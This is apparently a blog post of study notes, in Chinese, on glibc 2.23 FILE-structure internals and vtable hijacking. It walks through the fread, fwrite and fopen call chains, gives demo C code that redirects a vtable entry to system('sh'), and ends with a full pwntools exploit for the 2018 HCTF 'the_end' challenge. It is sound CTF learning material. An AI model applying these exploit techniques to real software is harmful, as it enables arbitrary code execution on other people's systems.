最近在系统性地学习二进制安全中的IO_FILE利用技术,为了加深理解,我一边看资料一边动手调试。这篇文章主要记录了我的学习过程,大部分知识脉络和背景都梳理自CTF Wiki,并结合了具体的实践与源码分析。
0x01 为libc文件添加符号表
为了方便后续在特定版本的glibc环境下进行调试,我首先搭建了基于libc 2.23的环境。
下载目标程序以及带有调试符号和无调试符号的libc库:
wget https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/refs/heads/master/pwn/linux/user-mode/io-file/2018_hctf_the_end/the_end
wget http://launchpadlibrarian.net/353523709/libc6-dbg_2.23-0ubuntu10_amd64.deb
dpkg -x libc6-dbg_2.23-0ubuntu10_amd64.deb libc6-dbg_2.23-0ubuntu10_amd64
wget https://launchpadlibrarian.net/353523729/libc6_2.23-0ubuntu10_amd64.deb
dpkg -x libc6_2.23-0ubuntu10_amd64.deb libc6_2.23-0ubuntu10_amd64

这里的the_end程序就是2018年HCTF比赛the_end题目的源代码编译后的可执行文件。接下来,我们使用patchelf修改程序的解释器和链接库路径,使其加载我们指定的libc 2.23版本。
patchelf --set-interpreter ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/ld-2.23.so ./the_end
patchelf --replace-needed libc.so.6 ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so ./the_end

现在,查看原始libc文件的调试链接信息:
readelf -x .gnu_debuglink ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so

然后,我们将其链接更改为有调试符号的版本:
objcopy -R .gnu_debuglink ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so
cp libc6-dbg_2.23-0ubuntu10_amd64/usr/lib/debug/lib/x86_64-linux-gnu/libc-2.23.so ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc2.23
objcopy --add-gnu-debuglink=./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc2.23 ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so

对比修改前后的效果非常明显。修改前,在调试器中打印_IO_list_all变量会提示类型未知:

修改之后,调试器可以正确识别其类型和值:

0x02 FILE结构体剖析
在Linux系统的标准I/O库中,FILE是一个用于描述文件的结构体,通常被称为文件流。当程序执行fopen等函数时会动态创建FILE结构体,并分配在堆内存中。我们通常用一个指向FILE结构的指针来接收返回值。
FILE结构体的定义位于libio.h中,结构如下:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
#else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
#endif
size_t __pad5;
int _mode;
/* Make sure we don‘t get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
一个关键点是,进程中的所有FILE结构体会通过 _chain 域相互连接,形成一个单向链表。这个链表的头部由全局变量 _IO_list_all 指向,通过它我们可以遍历所有的FILE结构。
在标准I/O库初始化时,每个程序都会自动打开三个文件流:stdin(标准输入)、stdout(标准输出)和stderr(标准错误)。因此,初始状态下,_IO_list_all 指向一个由这三个文件流构成的链表。但要注意,这三个文件流本身位于libc.so的数据段中,而我们用fopen创建的文件流则分配在堆内存上。
我们可以在libc.so中找到stdin、stdout、stderr等符号,它们是指向FILE结构体的指针。而结构体本身的符号是:
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
通过调试命令 p _IO_list_all,可以看到它确实指向 _IO_2_1_stderr_,并且其地址位于libc.so的映射区间内。这里注意,结构体的实际类型是 _IO_FILE_plus,稍后会详细说明。

接着查看 _IO_2_1_stderr_ 的结构,可以看到其 _chain 域指向了 _IO_2_1_stdout_。

再查看 _IO_2_1_stdout_ 的结构,其 _chain 域又指向了 _IO_2_1_stdin_。

最后查看 _IO_2_1_stdin_ 的结构,其 _chain 域为 0x0,表示链表在此终止。

从以上调试信息可以清晰地看出链表关系:_IO_list_all --> _IO_2_1_stderr_ --> _IO_2_1_stdout_ --> _IO_2_1_stdin_。在初始状态下,链表中只有这三个文件流。
然而,实际上 _IO_FILE 结构体外部还包裹着另一种结构体 _IO_FILE_plus,它包含了一个至关重要的指针 vtable,指向一个函数跳转表。对逆向工程和二进制漏洞利用感兴趣的读者,可以在云栈社区找到更多深入探讨。
在libc 2.23版本下,32位系统中vtable的偏移为0x94,64位系统中偏移为0xd8。
struct _IO_FILE_plus
{
_IO_FILE file;
_IO_jump_t *vtable;
}

从上面的调试截图可以看到,_IO_2_1_stderr_、_IO_2_1_stdout_、_IO_2_1_stdin_都是这种结构,并且它们的vtable指针指向同一个地址。通过计算_IO_2_1_stdin_结构体中vtable指针的偏移,也能验证在64位下确实是0xd8。

vtable结构详解
vtable 是一个 _IO_jump_t 类型的指针,_IO_jump_t 结构体内保存了一系列函数指针。后续我们会看到,许多标准I/O函数在内部会调用这些函数指针。
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
使用命令 p *(struct _IO_jump_t *)0x7ffff7dd06e0 可以查看实际的vtable结构。可以看到其中包含了许多以 __GI_ 为前缀的符号,这通常是glibc内部用于绑定到实际实现函数的别名,其真正的函数名是去掉__GI_的部分。

为了便于后续分析fread等函数的源码,我们先下载glibc 2.23的源代码。
wget https://ftp.gnu.org/gnu/glibc/glibc-2.23.tar.xz

解压源码包:
tar -xvf glibc-2.23.tar.xz

fread函数调用链分析
fread 是标准I/O库函数,用于从文件流中读取数据。
size_t fread ( void *buffer, size_t size, size_t count, FILE *stream );
其函数调用栈最终会深入到vtable。查看源码 glibc-2.23/libio/iofread.c,函数名为 _IO_fread。可以看到,该函数内部调用了 _IO_sgetn。

_IO_size_t
_IO_fread (buf, size, count, fp)
void *buf;
_IO_size_t size;
_IO_size_t count;
_IO_FILE *fp;
{
...
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
...
}
_IO_sgetn 函数定义在 libio/genops.c 文件中。通过 grep -C 3 "_IO_sgetn" glibc-2.23/libio/genops.c 查看,可以发现它直接返回 _IO_XSGETN 的调用结果。

_IO_size_t
_IO_sgetn (fp, data, n)
_IO_FILE *fp;
void *data;
_IO_size_t n;
{
return _IO_XSGETN (fp, data, n);
}
_IO_XSGETN 是一个在glibc的I/O系统内部用于实现多态调用的宏。通过 grep -C 3 "_IO_XSGETN" glibc-2.23/libio/libioP.h 查看其定义:

#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
这里的 JUMP2 是另一个宏,负责最终的函数跳转。它的作用很简单:根据传入的FILE结构体找到其对应的虚函数表,然后从表中取出 __xsgetn 函数指针并调用它。
也就是说,fread 函数调用链的末端,是通过vtable调用了 __xsgetn 这个函数指针。在我们调试的环境中,这个指针指向 __GI__IO_file_xsgetn(即 _IO_file_xsgetn 的内部别名)。

查看 _IO_file_xsgetn 函数的源码(grep -A 60 "_IO_file_xsgetn" glibc-2.23/libio/fileops.c),会发现其内部还调用了vtable中的 __underflow 指针。

最终,这条调用链会深入到系统调用 read。我们可以简要总结 fread 的调用路径:
fread --> _IO_sgetn --> _IO_XSGETN --> __xsgetn (vtable[8]) --> _IO_file_xsgetn --> __underflow (vtable[4]) --> _IO_new_file_underflow --> _IO_SYSREAD (系统调用 read)
fwrite函数调用链分析
fwrite 函数用于向文件流写入数据。
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
其内部调用链与 fread 类似。查看 glibc-2.23/libio/iofwrite.c,函数 _IO_fwrite 内部调用了 _IO_sputn。

written = _IO_sputn (fp, (const char *) buf, request);
而 _IO_sputn 本身是一个宏,定义在 libio/libioP.h 中,其核心作用也是路由到vtable中的 __xsputn 函数指针。
#define _IO_sputn(__fp__, __s__, __n__) _IO_XSPUTN (__fp__, __s__, __n__)

类似地,_IO_XSPUTN 也是一个宏:
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)

在我们的环境中,vtable中的 __xsputn 指向 _IO_new_file_xsputn。

查看 _IO_new_file_xsputn 的源码,可以发现其内部调用了 _IO_OVERFLOW 函数。

/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
_IO_OVERFLOW 同样是一个宏,会跳转到vtable中的 __overflow 指针。
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

这个指针指向 _IO_new_file_overflow 函数。

在 _IO_new_file_overflow 函数中,最终会调用 _IO_do_write,进而执行系统调用 write。

总结 fwrite 的调用路径:
fwrite --> _IO_sputn --> _IO_XSPUTN --> __xsputn (vtable[7]) --> _IO_new_file_xsputn --> _IO_OVERFLOW --> __overflow (vtable[3]) --> _IO_new_file_overflow --> _IO_do_write --> _IO_new_do_write --> new_do_write --> _IO_SYSWRITE (系统调用 write)
fopen函数分析
fopen 函数用于打开文件,其内部会创建并初始化 FILE 结构体。
FILE *fopen(char *filename, *type);
查看源码 glibc-2.23/libio/iofopen.c,函数 _IO_new_fopen 直接调用 __fopen_internal。

首先,在 __fopen_internal 内部会调用 malloc 分配 FILE 结构体的空间。这印证了我们之前的说法:通过 fopen 创建的 FILE 结构位于堆上。
*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
接着,它会为创建的 FILE 初始化vtable,并调用 _IO_file_init 进行进一步的初始化。
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);
在 _IO_file_init 函数中,会调用 _IO_link_in,将新分配的 FILE 结构链入以 _IO_list_all 为起点的链表中。这是理解后续利用技术的关键点。

查看 _IO_link_in 的源码,可以清晰地看到链表操作:fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp;。

之后,__fopen_internal 会调用 _IO_file_fopen 打开目标文件,最终调用到系统接口 open。
总结 fopen 的关键操作:
- 使用
malloc 在堆上分配 FILE 结构。
- 设置该结构的
vtable。
- 初始化该结构,并将其链入全局链表
_IO_list_all。
- 调用系统调用打开文件。
调用路径简化为:fopen --> _IO_new_fopen --> __fopen_internal --> _IO_file_fopen --> ... --> open
fclose函数分析
fclose 用于关闭已打开的文件流。
int fclose(FILE *stream);
其对应的内部函数是 _IO_new_fclose。它的主要操作与 fopen 相反:
- 调用
_IO_un_link 将指定的 FILE 从 _chain 链表中脱链。
- 调用
_IO_file_close_it 关闭文件描述符(内部调用 close 系统调用)。
- 调用vtable中的
_IO_FINISH 指针(对应 _IO_file_finish),该函数内部会调用 free 释放之前分配的 FILE 结构体。

printf/puts函数简析
printf 和 puts 是常用的输出函数。当 printf 的参数是纯字符串并以 \n 结尾时,编译器可能会将其优化为 puts 调用。
puts 的内部实现 _IO_puts,其操作流程与 fwrite 大致相同,最终也会通过 _IO_sputn 调用到 _IO_new_file_xsputn,进而执行 write 系统调用。
0x03 伪造vtable劫持程序流程
通过前面的分析,我们了解到Linux中许多常见的I/O操作函数都经由 FILE 结构体处理,而 _IO_FILE_plus 结构中的 vtable 是函数调用的关键枢纽。
因此,伪造vtable劫持程序流程的核心思想,就是针对 _IO_FILE_plus 的 vtable 指针做文章。主要有两种方式:
- 直接修改vtable中的函数指针:如果存在任意地址写漏洞,可以直接修改vtable表项中的地址。
- 覆盖vtable指针本身:将vtable指针指向我们控制的内存区域,并在其中布置好我们想要的函数指针。
利用实践与思考
要进行利用,首先需要知道目标 _IO_FILE_plus 结构体的位置。对于 fopen 创建的文件流,它在堆上;对于 stdin、stdout、stderr,它们位于 libc.so 的数据段中。
一个简单的示例思路如下(假设存在任意地址写漏洞):
int main(void){
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); // 获取vtable地址,64位偏移0xd8
vtable_ptr[7]=0x41414141; // 修改vtable中第8项(xsputn)的指针
printf("call 0x41414141"); // printf会调用xsputn,从而跳转到0x41414141
}
需要搞清楚目标I/O函数会调用vtable中的哪个函数。例如,printf 会调用 xsputn(vtable中的第8项,索引为7)。当这些vtable函数被调用时,传入的第一个参数就是对应的 _IO_FILE_plus 结构体的地址。我们可以利用这一点来传递参数。
例如,我们可以先将 FILE 结构体的开头部分写入字符串 "sh",然后劫持 xsputn 指针为 system 函数的地址。这样当调用 fwrite 或 printf 时,就会执行 system(“sh”)。
#define system_ptr 0x7ffff7a52390;
int main(void){
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8);
memcpy(fp, "sh", 3); // 将“sh”写入FILE结构体头部,作为system的参数
vtable_ptr[7]=system_ptr; // 劫持xsputn
fwrite("hi", 2, 1, fp); // 触发调用
}
然而,在libc 2.23及以后的版本中,位于libc数据段中的默认vtable(如 _IO_file_jumps)通常是只读的,无法直接写入。

因此,更可行的方案是在可控内存中伪造整个vtable,然后修改 _IO_FILE_plus 的 vtable 指针指向我们伪造的表。
#define system_ptr 0x7ffff7a52390;
int main(void){
FILE *fp;
long long *vtable_addr, *fake_vtable;
fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40); // 在堆上伪造vtable
vtable_addr=(long long *)((long long)fp+0xd8);
vtable_addr[0]=(long long)fake_vtable; // 修改FILE的vtable指针指向伪造表
memcpy(fp, "sh", 3);
fake_vtable[7]=system_ptr; // 在伪造的vtable中设置xsputn指针
fwrite("hi", 2, 1, fp); // 触发调用
}
如果程序中没有使用 fopen,我们也可以选择劫持 stdin、stdout、stderr 这些位于libc中的流,它们在 printf、scanf 等函数中会被用到。在libc 2.23之前,对这些流的vtable写入的限制相对较少。
2018 HCTF the_end 题目实战
理论需要结合实践。我们以2018年HCTF的 the_end 题目为例,尝试应用上面的知识。首先检查一下程序的安全属性:

程序开启了Full RELRO(意味着GOT表不可写)、NX和PIE。题目源码的核心部分如下:
void __fastcall __noreturn main(int a1, char **a2, char **a3) {
int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h] BYREF
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i ) {
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
程序一开始就输出了 sleep 函数的地址,这让我们可以计算出libc的基址。随后关闭了标准输出和标准错误文件描述符。最关键的是一个可以执行5次的循环:每次循环允许我们输入一个8字节的地址(&buf)和一个1字节的数据(*buf)。这相当于一个 5次任意地址写1字节 的漏洞,非常有限。
那么如何利用呢?这里利用了一个关键点:程序在退出时会调用 exit 函数,而 exit 函数会遍历 _IO_list_all 链表,并调用其中的一些清理函数。
我们的目标是劫持这个流程。经过分析,在 exit 的清理过程中,会调用 _IO_2_1_stdout_ 对应vtable中的 _setbuf 函数(vtable中的第12项,偏移为 0x58)。
因此,利用思路可以规划为:
- 伪造vtable:利用5字节写入的漏洞,修改
_IO_2_1_stdout_ 的vtable指针的低2字节,使其指向一个我们可控的、且在vtable附近的内存地址(例如 vtable_addr - 0x40),从而伪造一个假的vtable。
- 劫持函数指针:在这个伪造的vtable中,将其
_setbuf 项(fake_vtable + 0x58)的内容,修改为 one_gadget 的地址。由于我们只有3字节的写入能力,需要选择 one_gadget 地址中低位变化的3个字节进行覆盖。
现在开始具体计算。首先需要知道 _IO_2_1_stdout_ 在libc中的偏移。
nm -D libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so | grep -C 10 _IO_2_1_stdout

得到偏移为 0x3c5620。已知vtable在 _IO_FILE_plus 结构中的偏移是 0xd8,所以vtable指针的地址偏移为 0x3c5620 + 0xd8 = 0x3c56f8。
我们需要在vtable指针地址附近,找到一个合适的地址作为伪造的vtable。这个地址需要满足:fake_vtable_addr + 0x58 处的内容是一个可写的libc地址,这样我们才能用1字节写入将其改为 one_gadget 的部分字节。
查看vtable地址附近的内存:

例如,我们可以选择 0x7ffff7dd26b8 作为 fake_vtable。那么 fake_vtable + 0x58 的地址就是 0x7ffff7dd2710。通过调试查看这个地址当前的内容,并计算其与libc基址的偏移。

接下来寻找 one_gadget。使用工具分析libc文件:
one_gadget ./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so

我们选取其中一个,例如 0xf02a4(实际使用中可能需要尝试多个)。现在计算目标地址 target_addr(即 fake_vtable + 0x58)相对于libc基址的偏移。

基于以上分析,我们可以编写利用脚本。脚本的主要逻辑是:
- 接收泄露的
sleep 地址,计算libc基址和各种目标地址。
- 前两次循环:修改
_IO_2_1_stdout_ 的vtable指针的低2字节,使其指向 fake_vtable。
- 后三次循环:向
target_addr(即 fake_vtable + 0x58)写入 one_gadget 地址的低3字节。
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")
io=process("./the_end")
libc = ELF("./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so")
io.recvuntil(b"here is a gift ")
sleep_addr = int(io.recvuntil(b',',drop=True),16)
log.info(f"sleep --> {hex(sleep_addr)}")
io.recv()
base = sleep_addr - libc.symbols["sleep"]
vtable = base + 0x3c56f8
onegadget = base + 0xf02b0 # 注意:需要尝试不同的one_gadget
fake_vtable = vtable - 0x40
target_addr = fake_vtable + 0x58
log.info(f"vtable address: {hex(vtable)}")
log.info(f"onegadget address: {hex(onegadget)}")
log.info(f"fake_vtable address: {hex(fake_vtable)}")
log.info(f"target_addr address: {hex(target_addr)}")
# 调试用
# gdb.attach(io,'b *$rebase(0x955)')
# pause()
# 修改 vtable 指针的低2字节,指向 fake_vtable
for i in range(2):
io.send(p64(vtable+i))
io.send(p8(p64(fake_vtable)[i]))
# 修改 fake_vtable[_setbuf] 为 onegadget (写低3字节)
for i in range(3):
io.send(p64(target_addr+i))
io.send(p8(p64(onegadget)[i]))
io.interactive()
在调试过程中,可以观察到内存已被成功修改:

并且程序在执行 exit 后,也确实跳转到了我们的 one_gadget 地址:

然而,在实际利用中,one_gadget 的成功执行往往依赖于特定的寄存器或栈状态。在本地的调试环境中,可能因为约束条件不满足而导致利用失败(提示 Got EOF)。这就需要我们不断尝试不同的 one_gadget,或者通过其他方式调整运行时环境以满足条件。这也是CTF比赛中此类题目的常见难点。
总结与延伸
本次学习从C/C++的文件流基础结构开始,深入分析了glibc中标准I/O函数的实现与vtable调用机制,并探讨了通过伪造vtable劫持程序控制流的原理。最后通过一道CTF题目进行了实战演练。理解这些底层机制,对于深入计算机基础和二进制安全领域至关重要。希望这篇笔记也能对你有所帮助。如果想深入探讨Linux内核或系统编程的更多细节,欢迎在云栈社区交流。
参考链接: